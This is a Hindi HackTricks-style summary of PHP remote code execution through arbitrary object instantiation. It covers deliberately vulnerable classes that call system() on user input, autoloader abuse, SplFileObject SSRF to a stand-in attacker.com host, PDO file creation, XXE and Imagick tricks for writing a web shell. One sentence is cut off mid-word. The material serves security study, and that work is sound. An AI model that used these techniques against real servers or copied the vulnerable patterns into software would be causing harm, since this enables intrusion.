PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

यह मुख्य रूप से https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ का सारांश है।

परिचय

नए विचित्र ऑब्जेक्टों की रचना, जैसे कि new $_GET["a"]($_GET["a"]), दूरस्थ कोड निष्पादन (RCE) में ले जा सकती है, जैसा कि एक लेख में विस्तार से वर्णित है। इस दस्तावेज़ ने RCE प्राप्त करने के लिए विभिन्न रणनीतियों पर जोर दिया है।

कस्टम क्लासेस या ऑटोलोडिंग के माध्यम से RCE

वाक्यरचना new $a($b) का उपयोग एक ऑब्ज

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

इस मामले में, $a को App या App2 पर सेट करना और $b को एक सिस्टम कमांड (उदाहरण के लिए, uname -a) को निष्पादित करता है।

ऑटोलोडिंग फंक्शन का शोषण किया जा सकता है अगर कोई ऐसी कक्षाएँ सीधे पहुंचने योग्य नहीं हैं। ये फंक्शन फ़ाइलों से कक्षाएँ स्वचालित रूप से लोड करते हैं जब आवश्यक होता है और spl_autoload_register या __autoload का उपयोग करके परिभाषित किए जाते हैं:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

RCE के माध्यम से निर्मित कक्षाएं

कस्टम कक्षाओं या autoloaders की कमी में, विलिन PHP कक्षाएं RCE के लिए पर्याप्त हो सकती हैं। इन कक्षाओं की संख्या PHP संस्करण और एक्सटेंशन पर आधारित 100 से 200 के बीच हो सकती है। इन्हें get_declared_classes() का उपयोग करके सूचीबद्ध किया जा सकता है।

रिफ्लेक्शन API के माध्यम से रुचि के निर्माता पहचानी जा सकती हैं, जैसा कि निम्नलिखित उदाहरण और लिंक https://3v4l.org/2JEGF में दिखाया गया है।

विशेष विधियों के माध्यम से RCE शामिल हैं:

SSRF + Phar डिसीरियलाइज़ेशन

SplFileObject कक्षा अपने निर्माता के माध्यम से SSRF को सक्षम करती है, जिससे किसी भी URL पर कनेक्शन स्थापित किया जा सकता है:

new SplFileObject('http://attacker.com/');

PDOs का शोषण करना

PDO कक्लास कंस्ट्रक्टर डेटाबेस कनेक्शन को DSN स्ट्रिंग के माध्यम से संभावित रूप से फ़ाइल निर्माण या अन्य इंटरैक्शन को सक्षम करता है:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

PHP के संस्करण 5.3.22 और 5.4.12 तक SoapClient और SimpleXMLElement constructors के माध्यम से XXE हमलों के लिए संवेदनशील थे, libxml2 के संस्करण पर निर्भर करते हुए।

Imagick Extension के माध्यम से RCE

एक परियोजना की आवश्यकताओं के विश्लेषण में पाया गया कि Imagick को नए ऑब्जेक्ट्स बनाकर कमांड निष्पादन के लिए उपयोग किया जा सकता है। यह एक संरक्षण के लिए अवसर प्रस्तुत करता है।

VID पार्सर

फ़ाइल सिस्टम में किसी भी निर्दिष्ट पथ पर सामग्री लिखने की VID पार्सर क्षमता की पहचान की गई। इससे एक PHP शैल को एक वेब-पहुंचने योग्य निर्देशिका में रखने की संभावना है, जिससे दूरस्थ कोड निष्पादन (RCE) हासिल किया जा सकता है।

VID पार्सर + फ़ाइल अपलोड

यह नोट किया गया है कि PHP अस्थायी रूप से अपलोड की गई फ़ाइलें /tmp/phpXXXXXX में संचित करता है। Imagick में VID पार्सर, msl प्रोटोकॉल का उपयोग करके फ़ाइल पथ में वाइल्डकार्ड का संचालन कर सकता है, जो चयनित स्थान पर अस्थायी फ़ाइल को स्थानांतरित करने में सहायक होता है। यह विधि फ़ाइल सिस्टम में विचारपूर्वक फ़ाइल लेखन हासिल करने के लिए एक अतिरिक्त दृष्टिकोण प्रदान करती है।

PHP क्रैश + ब्रूट फ़ोर्स

मौलिक लेखन में एक विधि का वर्णन किया गया है जिसमें सर्वर को क्रैश करने वाली फ़ाइलें अपलोड करने की बात की गई है। अस्थायी फ़ाइल के नाम को ब्रूट फ़ोर्स करके, Imagick को विचारपूर्वक PHP कोड निष्पादित करने की संभावना हो जाती है। हालांकि, यह तकनीक केवल एक पुराने संस्करण के ImageMagick में प्रभावी पायी गई।

संदर्भ

शून्य से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated